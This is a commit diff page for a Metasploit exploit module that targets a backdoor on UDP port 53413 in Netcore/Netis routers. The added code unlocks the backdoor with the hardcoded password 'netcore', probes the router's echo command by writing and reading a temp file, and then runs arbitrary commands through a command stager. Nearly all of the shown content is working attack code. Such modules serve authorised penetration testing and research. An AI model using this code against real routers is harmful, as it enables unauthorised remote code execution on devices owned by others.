Skip to content

Commit 864989c

Browse files
committed
For echo command
1 parent be65f2c commit 864989c

File tree

1 file changed

+35
-15
lines changed

1 file changed

+35
-15
lines changed

modules/exploits/linux/misc/netcore_udp_53413_backdoor.rb

Lines changed: 35 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -21,13 +21,21 @@ def initialize(info = {})
2121
the Netis brand name outside of China. This backdoor allows
2222
cybercriminals to easily run arbitrary code on these routers,
2323
rendering it vulnerable as a security device.
24+
Some models include a non-standard echo command which doesn't
25+
honor -e, and are therefore not currently exploitable with
26+
Metasploit. See URLs or module markdown for additional options.
2427
},
25-
'Author' => [ 'Nixawk' ],
28+
'Author' =>
29+
[
30+
'Nixawk',
31+
'h00die <[email protected]>'
32+
],
2633
'License' => MSF_LICENSE,
2734
'References' =>
2835
[
2936
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-90227' ],
30-
[ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ]
37+
[ 'URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/' ],
38+
[ 'URL', 'https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py']
3139
],
3240
'Privileged' => true,
3341
'Targets' =>
@@ -67,36 +75,48 @@ def send_command(data)
6775

6876
def execute_command(cmd, _opts)
6977
send_command(cmd)
78+
vprint_status("Sending: #{cmd}")
79+
end
80+
81+
def authenticate()
82+
# netcore is the password to unlock the backdoor
83+
send_command('netcore')
84+
resp = udp_sock.get(timeout)
85+
if resp.include?('Login successed!')
86+
vprint_good('Backdoor Unlocked')
87+
end
7088
end
7189

72-
def vuln_version?
90+
def check
7391
connect_udp
92+
authenticate
7493
resp = []
75-
['netcore', '?'].each do |command|
94+
tmp_file = Rex::Text.rand_text_alpha(5)
95+
# we need to test the echo command to see if it plays nice
96+
["echo -en #{tmp_file} > /tmp/#{tmp_file}", "cat /tmp/#{tmp_file}"].each do |command|
7697
send_command(command)
7798
resp << udp_sock.get(timeout)
7899
end
79100
disconnect_udp
80101
resp_str = resp.join(',')
81-
resp.length >= 1 && resp_str.include?("\x00\x00\x00\x05")
82-
end
83-
84-
def check
85-
if vuln_version?
86-
Exploit::CheckCode::Vulnerable
102+
# check if we got a good response back
103+
if resp.length >= 1 && resp_str.include?("\x00\x00\x00\x05") && resp_str.include?(tmp_file)
104+
# some routers have a non-standard echo which doesn't support -en, so we need to detect that
105+
if resp_str.include?('en ')
106+
print_status('Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit.')
107+
Exploit::CheckCode::Detected
108+
else
109+
Exploit::CheckCode::Vulnerable
110+
end
87111
else
88112
Exploit::CheckCode::Safe
89113
end
90114
end
91115

92116
def exploit
93-
unless vuln_version?
94-
print_status('Target is not vulnerable.')
95-
return
96-
end
97-
98117
print_status('Exploiting...')
99118
connect_udp
119+
authenticate
100120
execute_cmdstager(:flavor => :echo, :linemax => 200)
101121
disconnect_udp
102122
end

0 commit comments

Comments
 (0)